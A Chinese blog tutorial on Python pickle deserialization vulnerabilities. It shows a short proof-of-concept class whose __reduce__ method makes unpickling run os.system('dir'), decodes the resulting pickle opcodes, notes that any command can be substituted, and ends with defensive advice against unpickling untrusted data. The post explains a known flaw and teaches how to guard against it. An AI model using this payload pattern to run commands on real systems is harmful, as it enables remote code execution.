上一篇博客中我介绍了python的字符串,元组,列表和字典的序列化

详细请看:

python序列化中的字符串,列表,字典,类的序列化解释


这篇博客我将介绍 python反序列化漏洞 任意代码执行

那么怎么反序列化中运行任意代码呢?

首先要说说__reduce__这个魔术方法,
这个方法用来表明类的对象应当如何序列化,
当其返回tuple类型时就可以实现任意代码执行

举个例子:

import pickle
import os

class Student(object):
    name = 'yuaneuro'
    age = '20'
    def __reduce__(self):
        cmd = "dir"
        return os.system, (cmd,)

y = pickle.dumps(Student())
print(y)
pickle.loads(y)

运行结果:

我们看到,当执行反序列化操作后执行了我们的dir命令

我们将序列化后的结果拿出来分析:

b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.'

解释:

在\03后使用c操作符导入了nt模块中的system函数,nt模块是os模块在windows上的具体实现
q\x00标识system函数在memo区的索引
X\x03\x00\x00\x00标识后面dir这个字符串的长度
q\x01标识dir这个字符串在memo区的索引
\x85建立1个元素的元组,这个元素是前面dir字符串
q\x02标识了这个元组在memo区的索引
R操作符标识运行栈顶的函数(system),并把包含dir的元组当做参数传递给它

我们可以把dir换成其他操作命令实现了反序列化漏洞 任意代码执行

那么如何防御这种漏洞呢?

在官方文档中也说过,pickle是个不安全的模块,永远别去反序列化不信任的数据。

  • 可以用更高级的接口__getnewargs()__getstate__()__setstate__()等代替__reduce__()魔术方法
  • 进行反序列化操作之前,进行严格的过滤

本文结束

最后修改:2020 年 03 月 31 日
如果觉得我的文章对你有用,请随意赞赏